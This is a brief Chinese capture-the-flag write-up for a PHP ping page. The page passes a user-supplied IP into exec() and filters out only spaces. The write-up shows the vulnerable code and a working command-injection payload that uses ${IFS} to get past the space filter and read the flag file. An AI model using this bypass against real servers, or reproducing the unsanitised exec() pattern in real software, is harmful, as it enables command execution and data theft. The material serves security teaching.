

<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
关键点在这
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
但是需要绕过
if (!preg_match_all("/ /", $ip, $m))
preg_match_all会匹配$ip中的所有空格并存入到$m中,如果匹配成功即为True,但是前面有一个!,那么就会返回假
所以我们需要绕过空格过滤,成功执行
cat /flag.txt
先尝试ls命令,得到flag的文件名

可知flag的文件为
fllllaaag.php
通过${IFS}来代替空格
127.0.0.1&&cat${IFS}fllllaaag.php
这里作者耍了个小心机,页面显示的是?,实际flag要在网页源代码中才能看到

